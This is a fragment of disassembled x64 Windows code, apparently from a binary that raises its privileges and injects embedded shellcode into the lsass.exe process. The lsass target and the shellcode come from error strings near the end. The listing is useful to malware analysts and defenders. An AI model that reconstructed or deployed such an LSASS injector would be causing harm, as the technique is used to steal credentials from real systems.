lea rcx, [rbp + 0x2f0]
call fcn.14000b150
call fcn.14000b470
lea rcx, [rbp + 0x2f0]
call fcn.14000b820
test al, al
je 0x14000cc6e
call fcn.14000b470
cmp qword [rbp - 8], 8
lea r8, [rbp - 0x20]
lea rdx, [rbp]
cmovae r8, qword [rbp - 0x20]
cmp qword [rbp + 0x18], 8
cmovae rdx, qword [rbp]
xor ecx, ecx
lea r9d, [rcx + 0x40]
call fcn.1400088e0
lea rcx, [rbp + 0x2f0]
call fcn.140001770
lea rcx, [rbp - 0x48]
call fcn.140001770
lea rcx, [rbp + 0xe0]
call fcn.140001770
lea rcx, [rbp + 0x100]
call fcn.1400017d0
lea rcx, [rbp + 0x120]
call fcn.140001770
lea rcx, [rbp + 0x140]
call fcn.1400017d0
lea rcx, [rbp + 0xb8]
call fcn.140001770
lea rcx, [rbp + 0x90]
call fcn.1400017d0
test rsi, rsi
je 0x14000ccdb
mov rax, qword [rsi]
mov edx, ebx
mov rcx, rsi
call qword [rax + 0x18]
lea rcx, [rbp + 0x2d0]
call fcn.140001890
lea rcx, [rbp + 0x20]
call fcn.140001770
lea rcx, [rbp + 0x2b0]
call fcn.140001890
jmp 0x14000cd60
call fcn.14000b470
cmp qword [rbp - 8], 8
lea r8, [rbp - 0x20]
lea rdx, [rbp]
cmovae r8, qword [rbp - 0x20]
cmp qword [rbp + 0x18], 8
cmovae rdx, qword [rbp]
xor ecx, ecx
lea r9d, [rcx + 0x40]
call fcn.1400088e0
mov ebx, r13d
jmp 0x14000cd60
call fcn.14000b470
cmp qword [rbp - 8], 8
lea r8, [rbp - 0x20]
lea rdx, [rbp]
cmovae r8, qword [rbp - 0x20]
cmp qword [rbp + 0x18], 8
cmovae rdx, qword [rbp]
xor ecx, ecx
lea r9d, [rcx + 0x40]
call fcn.1400088e0
mov ebx, 1
lea rcx, [rbp - 0x20]
call fcn.1400017d0
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14000cd8e
mov r8, qword [rbp + 0x70]
lea rcx, [rbp + 0x60]
sub r8, rdx
call fcn.1400023b0
xorps xmm0, xmm0
mov qword [rbp + 0x70], r13
movdqu xmmword [rbp + 0x60], xmm0
lea rcx, [rbp]
call fcn.1400017d0
mov rdx, qword [rbp + 0x78]
test rdx, rdx
je 0x14000cdb3
mov r8, qword [rbp + 0x88]
lea rcx, [rbp + 0x78]
sub r8, rdx
call fcn.1400023b0
mov r12, qword [rsp + 0x6a0]
mov eax, ebx
mov rbx, qword [rsp + 0x6c0]
mov rdi, qword [rsp + 0x6d0]
mov rsi, qword [rsp + 0x6c8]
mov r14, qword [rsp + 0x690]
mov r13, qword [rsp + 0x698]
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.1400332c0
add rsp, 0x6a8
pop r15
pop rbp
ret
lea rdx, str.Failed_to_find_lsass.exe_process
lea rcx, [rbp + 0x2b0]
call fcn.140001700
lea rdx, [0x1400a1298]
lea rcx, [rbp + 0x2b0]
call fcn.140050b60
int3
call fcn.14005438c
int3
lea rdx, str.Failed_to_find_shellcode_resource
lea rcx, [rbp + 0x2b0]
call fcn.140001700
lea rdx, [0x1400a1298]
lea rcx, [rbp + 0x2b0]
call fcn.140050b60
int3
lea rdx, str.Failed_to_load_shellcode_resource
lea rcx, [rbp + 0x2b0]
call fcn.140001700
lea rdx, [0x1400a1298]
lea rcx, [rbp + 0x2b0]
call fcn.140050b60
int3
lea rdx, str.Shellcode_resource_size_is_0
lea rcx, [rbp + 0x2b0]
call fcn.140001700
lea rdx, [0x1400a1298]
lea rcx, [rbp + 0x2b0]
call fcn.140050b60
int3
lea rdx, str.Failed_to_lock_shellcode_resource
call fcn.140001700
lea rdx, [0x1400a1298]
lea rcx, [rbp + 0x2b0]
call fcn.140050b60
int3
lea rdx, str.Failed_to_get_RtlAdjustPrivilege_address
lea rcx, [rbp + 0x2b0]
call fcn.140001700
lea rdx, [0x1400a1298]
lea rcx, [rbp + 0x2b0]
call fcn.140050b60
int3
call fcn.140005890
int3